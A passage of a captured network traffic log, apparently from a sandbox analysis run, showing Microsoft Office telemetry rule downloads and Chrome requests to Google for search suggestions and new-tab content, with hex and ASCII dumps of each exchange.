2024-11-21 23:11:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:28 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231128Z-15b8b599d882zv28hC1TEBdchn00000000eg000000001zsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:28 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231128Z-178bfbc474bnwsh4hC1NYC2ubs000000027g00000000967w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:28 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:28 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231128Z-174c587ffdfb5q56hC1TEB04kg00000000fg000000004d33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:29 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231129Z-178bfbc474b7cbwqhC1NYC8z4n00000001z000000000shew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231131Z-178bfbc474bvjk8shC1NYC83ns00000001wg00000000vbys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49723	172.217.21.36	443	6848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 23:11:32 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:31 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Mhxyh-oSWLJywTi1dIhMiA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 23:11:32 UTC	124	IN	Data Raw: 66 34 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 64 61 6d 20 77 61 72 72 65 6e 20 6f 63 65 61 6e 6f 22 2c 22 34 30 20 63 65 6e 74 73 20 6f 66 66 20 67 61 73 20 63 69 72 63 6c 65 20 6b 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 73 74 6f 72 79 62 6f 6f 6b 20 76 61 6c 65 20 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 Data Ascii: f48)]}'["",["adam warren oceano","40 cents off gas circle k","weather forecast snow storm","storybook vale disney dreamli
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 6d 69 63 68 69 67 61 6e 20 66 6f 6f 74 62 61 6c 6c 20 62 72 79 63 65 20 75 6e 64 65 72 77 6f 6f 64 22 2c 22 73 74 75 64 65 6e 74 20 6c 6f 61 6e 73 22 2c 22 6d 63 64 6f 6e 61 6c 64 20 6d 63 72 69 62 20 73 61 75 63 65 22 2c 22 64 75 63 74 20 74 61 70 65 64 20 62 61 6e 61 6e 61 20 61 72 74 77 6f 72 6b 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 Data Ascii: ght valley","michigan football bryce underwood","student loans","mcdonald mcrib sauce","duct taped banana artwork"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d"
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 56 33 70 34 62 47 38 7a 65 57 4e 4e 5a 55 35 56 56 30 64 77 64 6b 64 6e 64 45 78 74 52 79 39 30 63 47 6c 68 5a 55 35 72 56 31 4e 4a 5a 7a 55 78 51 6c 56 70 4d 31 68 56 57 58 5a 4e 62 33 42 57 59 56 4e 36 55 44 56 54 64 31 4a 53 59 33 52 69 52 56 64 48 56 32 46 6d 65 56 64 59 62 56 41 31 55 54 63 7a 64 47 4d 35 56 79 39 75 51 6d 31 72 64 57 6c 71 65 47 30 7a 5a 47 35 6e 63 56 6f 31 4d 6c 4a 77 63 46 6b 79 55 30 30 32 51 30 39 47 61 33 52 6a 61 54 6c 6e 52 6b 5a 36 63 47 63 33 59 31 5a 6f 56 47 31 79 56 46 52 50 57 58 42 46 64 47 78 72 65 6b 46 43 63 6d 70 56 53 30 4a 69 57 55 52 45 65 55 4e 75 5a 47 46 6c 61 31 46 34 56 30 46 70 53 57 55 77 56 32 63 34 4e 32 52 6a 4d 57 67 72 64 55 56 75 4b 30 56 74 62 48 42 78 54 48 64 6a 57 57 31 61 62 45 74 35 64 6b 63 Data Ascii: V3p4bG8zeWNNZU5VV0dwdkdndExtRy90cGlhZU5rV1NJZzUxQlVpM1hVWXZNb3BWYVN6UDVTd1JSY3RiRVdHV2FmeVdYbVA1UTczdGM5Vy9uQm1rdWlqeG0zZG5ncVo1MlJwcFkyU002Q09Ga3RjaTlnRkZ6cGc3Y1ZoVG1yVFRPWXBFdGxrekFCcmpVS0JiWUREeUNuZGFla1F4V0FpSWUwV2c4N2RjMWgrdUVuK0VtbHBxTHdjWW1abEt5dkc
2024-11-21 23:11:32 UTC	1015	IN	Data Raw: 4e 4e 54 47 4a 4e 65 44 46 4f 61 55 35 30 59 32 52 57 64 45 77 76 61 69 74 4e 64 31 5a 56 5a 47 64 53 53 6d 78 4c 5a 32 46 46 53 46 52 52 5a 6c 68 44 61 46 4e 72 5a 31 70 61 54 31 56 58 65 48 70 43 55 6e 68 7a 56 31 64 78 63 57 46 73 61 6b 30 79 56 6c 4e 69 57 47 52 69 4d 33 52 6a 51 55 67 78 53 6a 49 7a 55 48 42 71 63 6d 74 33 54 32 64 43 63 6c 56 6c 54 30 5a 58 65 58 46 56 4f 47 6b 32 59 6b 63 79 61 45 45 35 55 47 5a 32 61 6e 46 6c 64 6d 5a 4e 62 57 74 4b 59 32 74 53 5a 56 56 47 55 33 68 4a 56 58 4e 43 63 6e 51 32 4e 6b 4e 33 51 54 64 5a 65 6a 46 46 4b 32 46 6c 54 30 68 72 64 7a 4a 4b 52 48 6c 53 63 45 70 6a 51 6e 4a 6b 5a 6b 78 69 53 30 4a 73 4f 53 73 76 57 46 46 31 53 6d 73 78 53 6e 4e 35 65 56 5a 4d 62 46 4a 4a 53 6e 56 5a 57 45 6c 71 59 56 49 79 53 Data Ascii: NNTGJNeDFOaU50Y2RWdEwvaitNd1ZVZGdSSmxLZ2FFSFRRZlhDaFNrZ1paT1VXeHpCUnhzV1dxcWFsak0yVlNiWGRiM3RjQUgxSjIzUHBqcmt3T2dCclVlT0ZXeXFVOGk2YkcyaEE5UGZ2anFldmZNbWtKY2tSZVVGU3hJVXNCcnQ2NkN3QTdZejFFK2FlT0hrdzJKRHlScEpjQnJkZkxiS0JsOSsvWFF1SmsxSnN5eVZMbFJJSnVZWElqYVIyS
2024-11-21 23:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49725	172.217.21.36	443	6848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49724	172.217.21.36	443	6848	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:31 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 23:11:32 UTC	1018	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 23:11:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 23:11:32 UTC	372	IN	Data Raw: 32 33 39 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 239a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-21 23:11:32 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
